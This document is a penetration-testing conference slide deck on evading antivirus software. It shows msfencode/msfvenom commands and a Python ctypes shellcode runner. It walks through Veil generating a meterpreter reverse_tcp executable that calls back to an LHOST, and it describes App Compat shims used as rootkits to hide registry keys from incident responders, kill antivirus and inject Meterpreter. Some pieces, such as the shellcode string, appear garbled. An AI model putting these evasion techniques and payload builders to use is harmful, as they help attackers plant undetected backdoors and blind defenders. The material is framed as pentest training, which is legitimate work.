Anti-Virus, No Thanks!

Mark Baggett
Mark Baggett
@MarkBaggett
Owner of In Depth Defense Penetration Testing & Incident Response Services
Instructor for these guys
Course Author

SEC573 Python for Penetration Testers
Friends with benefits:

http://isc.sans.edu

PaulDotCom
Pentest Use Case

- Penetration testers have a basic need for backdoors that are undetected by antivirus software
- Payloads are delivered by various means:
  - Delivered to targets via E-mail or Website
  - Delivered to targets via USB or CDROM drops
  - Executed as a payload of an exploit
  - Uploaded by the attacker to target systems
- Antivirus software can be a royal pain
- We need to build backdoors that are undetected by Antivirus software
It is not 2008 any more!

- "Effectiveness of Antivirus in detecting Metasploit payloads"
- msfpayload didn't have a -X option
- Reverseshell.exe with NO ENCODING was detected by 3 of 32! F-Secure, Panda, Webwasher
- Multiple encoders including Shikata-Ga-Nia evaded 100%
- Today it is a much different story
Today

- 42 of 45 Antivirus software detects the Metasploit default template (Apache Bench) with no payloads embedded in it.

- Most of the techniques outlined in that paper have very limited effectiveness today.

- A few do still work..... kinda
Techniques we will discuss today

- Encoding - Most Common... Most Detected
  - msfencode, msfvenom, UPX packers, etc
- Ghost Writing
  - Atomic command substitution
  - Custom Metasploit stagers
- Payloads scripts with interpreters
- Don't use Malware! Use build in tools!
  - Rootkits without Rootkits
  - sc, smbexec.py and more
Don't try to be a hero

- No need to defeat every AV when your target only runs one
- Do your recon
- Know what AV your target is using.
- Purchase a copy of their AV product
- Work to evade that antivirus product only.
Checking your malware

- **BUY a copy the AV that your target is using**

- There are lots of scanners out there!
  - [http://myavscan.net](http://myavscan.net)
  - [http://virusscan.org](http://virusscan.org)
  - [http://virusnothanks.com](http://virusnothanks.com)

- Some scanners out there that give you an option of not sharing your payload

- **Why not virus total?**
Techniques we will discuss today

- **Encoding** - Most Common... Most Detected
  - msfencode, msfvenom, UPX packers, etc

- **Ghost Writing**
  - Atomic command substitution
  - Custom Metasploit stagers

- **Payloads scripts with interpreters**

- **Don't use Malware! Use build in tools!**
  - Rootkits without Rootkits
  - sc, smbexec.py and more
Encoders

- Obscures the original payload and includes a special decoder program to restore the program back to its original program before execution.

- For example:

  ```
  ./msfpayload windows/shell/reverse_tcp R | ./msfencode -t exe -e <encoder> -x <template> -c <# of encoding cycles>
  ```

- The default encoder is "shikata ga nia"

- Not the best approach.
./msfencode options

Usage: ./msfencode <options>

OPTIONS:

-a <opt>  The architecture to encode as
-b <opt>  The list of characters to avoid: \x00\xff
-c <opt>  The number of times to encode the data
-d <opt>  Specify the directory in which to look for EXE templates
-e <opt>  The encoder to use
-h        Help banner
-i <opt>  Encode the contents of the supplied file path
-k        Keep template working; run payload in new thread (use with -x)
-l        List available encoders
-m <opt>  Specifies an additional module search path
-n        Dump encoder information
-o <opt>  The output file
-p <opt>  The platform to encode for
-s <opt>  The maximum size of the encoded data
-t <opt>  The output format: raw, ruby, rb, perl, pl, bash, sh, c, c#, js_be, js_le, java,
          python, py, powershell, ps1, vbscript, vbapplication, dll, exe, exe-service, exe-small, exe-only,
          elf, macho, vba, vba-exe, vbs, loop-vbs, asp, aspx, aspx-exe, war, psh, psh-net, msi, msi-nouac
-v        Increase verbosity
-x <opt>  Specify an alternate executable template
<table>
<thead>
<tr>
<th>Name</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>cmd/generic_sh</td>
<td>good</td>
<td>Generic Shell Variable Substitution Command Encoder</td>
</tr>
<tr>
<td>cmd/if$</td>
<td>low</td>
<td>Generic ${IFS} Substitution Command Encoder</td>
</tr>
<tr>
<td>cmd/printf_php_mq</td>
<td>manual</td>
<td>printf(1) via PHP magic_quotes Utility Command Encoder</td>
</tr>
<tr>
<td>generic/none</td>
<td>normal</td>
<td>The &quot;none&quot; Encoder</td>
</tr>
<tr>
<td>mipsbe/longxor</td>
<td>normal</td>
<td>XOR Encoder</td>
</tr>
<tr>
<td>mipsle/longxor</td>
<td>normal</td>
<td>XOR Encoder</td>
</tr>
<tr>
<td>php/base64</td>
<td>great</td>
<td>PHP Base64 Encoder</td>
</tr>
<tr>
<td>ppc/longxor</td>
<td>normal</td>
<td>PPC LongXOR Encoder</td>
</tr>
<tr>
<td>ppc/longxor_tag</td>
<td>normal</td>
<td>PPC LongXOR Encoder</td>
</tr>
<tr>
<td>sparc/longxor_tag</td>
<td>normal</td>
<td>SPARC DWord XOR Encoder</td>
</tr>
<tr>
<td>x64/xor</td>
<td>normal</td>
<td>XOR Encoder</td>
</tr>
<tr>
<td>x86/add_sub</td>
<td>manual</td>
<td>Add/Sub Encoder</td>
</tr>
<tr>
<td>x86/alpha mixed</td>
<td>low</td>
<td>Alpha2 Alphanumeric Mixedcase Encoder</td>
</tr>
<tr>
<td>x86/alpha_upper</td>
<td>low</td>
<td>Alpha2 Alphanumeric Uppercase Encoder</td>
</tr>
<tr>
<td>x86/avoid_underscore_tolower</td>
<td>manual</td>
<td>Avoid underscore/tolower</td>
</tr>
<tr>
<td>x86/avoid_utf8_tolower</td>
<td>manual</td>
<td>Avoid UTF8/tolower</td>
</tr>
<tr>
<td>x86/bloxor</td>
<td>manual</td>
<td>BloXor - A Metamorphic Block Based XOR Encoder</td>
</tr>
<tr>
<td>x86/call4_dword_xor</td>
<td>normal</td>
<td>Call4 Dword XOR Encoder</td>
</tr>
<tr>
<td>x86/context_cpuId</td>
<td>manual</td>
<td>CPUID-based Context Keyed Payload Encoder</td>
</tr>
<tr>
<td>x86/context_stat</td>
<td>manual</td>
<td>stat(2)-based Context Keyed Payload Encoder</td>
</tr>
<tr>
<td>x86/context_time</td>
<td>manual</td>
<td>time(2)-based Context Keyed Payload Encoder</td>
</tr>
<tr>
<td>x86/countdown</td>
<td>normal</td>
<td>Single-byte XOR Countdown Encoder</td>
</tr>
<tr>
<td>x86/fnstenv_mov</td>
<td>normal</td>
<td>Variable-length Fnstenv/mov Dword XOR Encoder</td>
</tr>
<tr>
<td>x86/jmp_call_additive</td>
<td>normal</td>
<td>Jump/Call XOR Additive Feedback Encoder</td>
</tr>
<tr>
<td>x86/nonalpha</td>
<td>low</td>
<td>Non-Alpha Encoder</td>
</tr>
<tr>
<td>x86/nonupper</td>
<td>low</td>
<td>Non-Upper Encoder</td>
</tr>
<tr>
<td>x86/shikata_ga_nai</td>
<td>excellent</td>
<td>Polymorphic XOR Additive Feedback Encoder</td>
</tr>
<tr>
<td>x86/single_static_bit</td>
<td>manual</td>
<td>Single Static Bit</td>
</tr>
<tr>
<td>x86/unicode mixed</td>
<td>manual</td>
<td>Alpha2 Alphanumeric Unicode Mixedcase Encoder</td>
</tr>
<tr>
<td>x86/unicode_upper</td>
<td>manual</td>
<td>Alpha2 Alphanumeric Unicode Uppercase Encoder</td>
</tr>
</tbody>
</table>
If your going to encode...

- NEVER use the default template. Using something else reduces the detection rate by 1/2
- Encoding multiple times generally speaking does not decrease the detection rate
- Encoding at all generally has very little affect
- Consider creating a .com file
- Try the old school templates "-t exe-small", etc
- Purchase a code signing certificate to sign your exe...
- Or Don't!
Digitally sign you exe

- Researcher named "Arkem"
- Took known malware detected by 36/43 (84%)
- Signed it with self-signed certificate
- Dropped to 12/43 (28%)
- Who was fooled?
  - AhnLab-V3, **AVG**, BitDefender, CAT-QuickHeal, Comodo, Emsisoft, **F-Secure**, **Fortinet**, Ikarus, K7AntiVirus, **McAfee**, **McAfree-GW-Edition**, **Microsoft**, Norman, nProtect, PCTools, Rising, Sophos, **Symantec**, TheHacker, **TrendMicro**, **TrendMicro-HouseCall**, VIPRE, ViRobot
Techniques we will discuss today

- **Encoding** - Most Common... Most Detected
  - msfencode, msfvenom, UPX packers, etc

- **Ghost Writing**
  - Atomic command substitution
  - Custom Metasploit stagers

- **Payloads scripts with interpreters**

- **Don't use Malware! Use build in tools!**
  - Rootkits without Rootkits
  - sc, smbexec.py and more
Ghostwriting

Creates a new program using atomic instruction substitution

```
program.exe
```

```
metasm
xor edx, edx
mov edi, 0x41
```

```
program.asm
mov edx, 0
xor edi, edi
add edi, 0x41
```

```
program2.exe
```

```
program2.asm
```
"Automating" Ghost writing

- Several script are available online to automate the Ghostwriting or encoding process
  - http://astr0baby.wordpress.com/2013/01/03/dep-fud-executable-generator-for-metasploit/
  - http://spareclockcycles.org/tag/antivirus-evasion/
- Blackhills Security/Pauldotcom have a Ghostwriting script they give away in their Offensive Countermeasures course
Nip it in the bud

Instead of THIS:

- Framework -> Exe -> Ghostwriting -> New EXEs
- Ghost written framework stager & stage -> New EXE

Create new custom stagers and/or stages

Benefits all Metasploit use!

- ./msfpayload creates custom exes
- BufferOverflows and other memory corruption exploits use the stage

Easier than you might think to create these
Modifying Stager and Stage code

- **Source code:**
  - `/external/source/shellcode/windows/x86`
  - Here is `./src/stager/stager_bind_tcp_rc4.asm`
Modify the block_api.asm file!
(Thanks- David Maloney @Thelightcosine)

```
root@debian:~/metasploit-framework/external/source/shellcode/windows/x86/src/block# cat block_api.original

;------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
; Size: 137 bytes
;------------------------------------------------------------------------;

[BITS 32]

; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has already been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.

api_call:
    pushad         ; We preserve all the registers for the caller, bar EAX and ECX.
    mov ebp, esp   ; Create a new stack frame
    xor edx, edx   ; Zero EDX
    mov edx, [fs:edx+48]  ; Get a pointer to the PEB
    mov edx, [edx+12]    ; Get PEB->Ldr
    mov edx, [edx+20]    ; Get the first module from the InMemoryOrder module list
    next_mod:
        mov esi, [edx+40]  ; Get pointer to modules name (unicode string)
        movzx ecx, word [edx+38]  ; Set ECX to the length we want to check
        xor edi, edi  ; Clear EDI which will store the hash of the module name
    loop modname:
```
In the windows/x86 directory. run `python build.py <stager>`
Create a new stager in the normal stagers directory

root@debian:/usr/share/metasploit-framework/modules/payloads/stagers/windows# cat bind_tcp.rb

```ruby
require 'msf/core'
require 'msf/core/handler/bind_tcp'

module Metasploit3
  include Msf::Payload::Stager
  include Msf::Payload::Windows

  def initialize(info = {})
    super(merge_info(info,
      'Name'   => 'Bind TCP Stager',
      'Description'   => 'Listen for a connection',
      'Author'  => ['hdm', 'skape', 'sf'],
      'License' => MSF_LICENSE,
      'Platform' => 'win',
      'Arch'    => ARCH_X86,
      'Handler' => Msf::Handler::BindTcp,
      'Convention' => 'sockedi',
      'Stager'  =>
      {
        'RequiresMdsStager' => false,
        'Offsets' => {
          'LPORT' => [200, :n]
        },
        'Payload' =>
        # Length: 298 bytes
        "\x9c\x88\x90\x00\x80\x80\x60\x80\x60\x89\x89\x31\x82\x64\x8b\x52\x30\x8b"
      }
    )
  end
end
```

Offset from build script
Techniques we will discuss today

- Encoding - Most Common... Most Detected
  - msfencode, msfvenom, UPX packers, etc
- Ghost Writing
  - Atomic command substitution
  - Custom Metasploit stagers
- Payloads scripts with interpreters
- Don't use Malware! Use build in tools!
  - Rootkits without Rootkits
  - sc, smbexec.py and more
Payloads as scripts

- http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-during-pen-testing
- Turns a Python script that executes a metasploit payload into an executable program
pyinstaller the following:

```python
from ctypes import *

shellcode = 
\x89\x00\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xc7\x0d\xe2\xf0\x52\x57\x8b\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\x8c\xc3'

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
```
pyInject

- Python script published by David Kennedy
- Free download
  https://www.trustedsec.com/files/pyinjector.zip
- Uses Windows APIs to allocate memory and execute the payload as a thread
- Resolves issues with 64-bit systems
- shellcode_generate.py automates calling msfvenom to generate the source code and strip commas and semicolons from the payload string
Veil

- May 2013 Chris Truncer
- Python framework for the creation of executables
- Today it is 100% effective in the creation of Metasploit payloads that avoid detection

```
Veil | [Version]: 2.0
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion

Main Menu

   16 payloads loaded

Available commands:

   use     use a specific payload
   list    list available languages/payloads
   info    information on a specific payload
   exit    exit Veil

[>] Please enter a command: 
```
## Veil Payloads

**Available payloads:**

<table>
<thead>
<tr>
<th></th>
<th>Payload</th>
<th>Performance</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>native/hyperion</td>
<td>Normal</td>
</tr>
<tr>
<td>2</td>
<td>native/pescrambler</td>
<td>Normal</td>
</tr>
<tr>
<td>3</td>
<td>c/VirtualAlloc</td>
<td>Poor</td>
</tr>
<tr>
<td>4</td>
<td>c/VoidPointer</td>
<td>Poor</td>
</tr>
<tr>
<td>5</td>
<td>c#/VirtualAlloc</td>
<td>Poor</td>
</tr>
<tr>
<td>6</td>
<td>c#/b64SubVirtualAlloc</td>
<td>Normal</td>
</tr>
<tr>
<td>7</td>
<td>powershell/DownloadVirtualAlloc</td>
<td>Excellent</td>
</tr>
<tr>
<td>8</td>
<td>powershell/PexecVirtualAlloc</td>
<td>Excellent</td>
</tr>
<tr>
<td>9</td>
<td>powershell/VirtualAlloc</td>
<td>Excellent</td>
</tr>
<tr>
<td>10</td>
<td>python/AESVirtualAlloc</td>
<td>Excellent</td>
</tr>
<tr>
<td>11</td>
<td>python/ARCVirtualAlloc</td>
<td>Excellent</td>
</tr>
<tr>
<td>12</td>
<td>python/DESVirtualAlloc</td>
<td>Excellent</td>
</tr>
<tr>
<td>13</td>
<td>python/LetterSubVirtualAlloc</td>
<td>Excellent</td>
</tr>
<tr>
<td>14</td>
<td>python/VirtualAlloc</td>
<td>Normal</td>
</tr>
<tr>
<td>15</td>
<td>python/VoidPointer</td>
<td>Normal</td>
</tr>
<tr>
<td>16</td>
<td>python/b64VirtualAlloc</td>
<td>Excellent</td>
</tr>
</tbody>
</table>
"use python/AESVirtualAlloc"

---

**Veil | [Version]: 2.0**

**[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion**

Payload: `python/AESVirtualAlloc` loaded

**Required Options:**

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>compile_to_exe</td>
<td>Y</td>
<td>Compile to an executable</td>
</tr>
<tr>
<td>use_pyherion</td>
<td>N</td>
<td>Use the pyherion encrypter</td>
</tr>
</tbody>
</table>

**Available commands:**

- `set` set a specific option value
- `info` show information about the payload
- `help` show help menu for payload
- `generate` generate payload
- `back` go to the main menu

[>] Please enter a command:
"Generate"

Veil | [Version]: 2.0

[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion

[?] Use msfvenom or supply custom shellcode?

1 - msfvenom (default)
2 - Custom

[>] Please enter the number of your choice: 1

[*] Press [enter] for windows/meterpreter/reverse_tcp
[*] Press [tab] to list available payloads
[>] Please enter metasploit payload:
[>] Enter value for 'LHOST', [tab] for local IP: 192.168.187.100
[>] Enter value for 'LPORT': 443
[>] Enter extra msfvenom options in OPTION=value syntax:
Choose a packager

Veil | [Version]: 2.0

[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion

[*] Press [enter] for 'payload'
[>] Please enter the base name for output files: trytofindthis

[?] How would you like to create your payload executable?

1 - Pyinstaller (default)
2 - Py2Exe

[>] Please enter the number of your choice: 1
Your executable is created!

---

**Veil | [Version]: 2.0**
---

[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
---

[*] Executable written to: /root/Veil-master/output/compiled/trytofindthis.exe

Language: **python**
Payload: AESVirtualAlloc
Shellcode: windows/meterpreter/reverse_tcp
Options: LHOST=192.168.187.100 LPORy=443
Required Options: compile_to_exe=Y use_pyherion=N
Source File: /root/Veil-master/output/source/trytofindthis.py

[*] Your payload files have been generated, don't get caught!
[[!] And don't submit samples to any online scanner!! ;)]

[>] press any key to return to the main menu: ☀️
A season for all things

- Technique I described, pylntet and Veil work GREAT... for now

- There is only one fool proof way to avoid antivirus detection....

- STOP USING OTHER PEOPLES CODE

- WRITE YOUR OWN!!!
Coding is fun and Python is easy!

- Check out SEC573 - Python for Penetration Testers
- Very low barrier to entry
- HUGE amount of lab time for the class
- Days 1 & 2 are essentials workshop
- Day 3 & 4 class coding projects including
  - Port scanning reverse tcp shells
  - SQL Injection/ Web Attack tools
  - Multi-Threading
  - Password guessing
  - Network Reconnaissance
- Day 5 is a CTF
pyWars CTF!

- Designed to make the class accommodating to all skill levels
- Intended for the first two days of class but is used throughout
- Extra challenges that run parallel to course material
- Challenges range in difficulty Python essential skills to ninja challenges
Techniques we will discuss today

- **Encoding** - Most Common... Most Detected
  - msfencode, msfvenom, UPX packers, etc
- **Ghost Writing**
  - Atomic command substitution
  - Custom Metasploit stagers
- **Payloads scripts with interpreters**
  - Don't use Malware! Use built in tools!
  - Rootkits without Rootkits
  - sc, smbexec.py and more
Once you have credentials don't use exploits or malware!

- Most of what we need is available through normal administrative tools.
- **Pillage Data** - Explorer, RDP
- **Steal Hashes** - Export registry keys, Create Volume Shadow copies
  - vssown.vbs just calls built in WMI functions
- **Pivot** - Port forward with netsh, RDP
- **Code Execution** - PSEXEC, SMBEXEC, RDP
- Check out **POWERSPLOIT!!!** It is AWESOME!
- Use Code Execution disable/cripple the antivirus software
Metasploit PSEXEC is sometimes flagged by antivirus software

- Why? It drops an executable on the harddrive!

- Use those SC commands you learned in SEC560!
- Doesn't add binary to local drive. Nothing to detect.
- smbexec.py will automate the process in a nice python wrapper and it supports PTH
- smbexec is just one of many great modules that are part of the Impacket project
Purpose of ACT

- Allow Windows to run older/ poorly written applications that are incompatible with the Registry, File system, APIs and Security Features of the current operating system
- If any of that stuff doesn't work for you, you can change it.
- Change Registry... Change File system... Change APIs ... Change Security Features
Implement a Rootkit with App Compat Toolkit!

- **ACT Components**
  - Windows Compatibility Admin tool
  - A compatibility database - AKA Shims
    - By default files end with .sdb extension
  - Application Fixes
    - Where you apply changes to application behavior
    - Apply to a single executable
  - Compatibility Modes - AKA Layers
    - Groups of fixes.
    - Fixes apply to child processes as well
  - sdbinst.exe - Used to install / uninstall Shims
SHIM DATABASE - <file>.SDB

Move .SDB to Target
Features Commonly Found in Rootkits

- Process Execution Redirection
- API Hooking
- Hiding in the File System
- Hiding in the Registry
- Disable Security Features of the OS
- Execute Backdoors
What can we do with ACT?

- Process Execution Redirection
- API Hooking
- Hiding in the File System
- Hiding in the Registry
- "Disable" Security Features of the OS
- Execute Backdoors
Hiding from Incident Responders

- Let's shim REGEDIT and hide registry keys from incident responders!
- The OS is NOT shimmed and still starts the programs in HKLM\...\Run keys
- Incident Responders using Regedit do not see the REAL keys, they see the keys we want them to see!
Hide a Directory from Antivirus!

- Use "CorrectFilePaths" application fix
- `-a -u +GetCommandLine +RegSetValue +Win9xPath +LoadBitmap c:\temp;c:\Users`
Process Execution Redirection
Shimming anything in \windows\system32

- Excludes "System32" processes from your shim (.sdb file) unless you specify the "/x" option when launching the AppCompat Admin tool
- You can also "include" files that are excluded by default
- "Compatibility Modes" (aka layers) can apply shims to all child processes of the shimmed process
- Shims are applied at launch (so kill all existing explorer instances)
Including Modules

[Image of a dialog box for including modules in the command line, with an example module name 'explorer.exe']
Inject Meterpreter into an EXE
Automatically kill any exe (Antivirus)
Prevent a DLL from being loaded (HIPS)
Additional info

- Watch the 2013 DerbyCon presentation
Questions?

- Twitter - @MarkBaggett
- Email - mbaggett@sans.org

- Check out SEC573 Python for Penetration Testers!!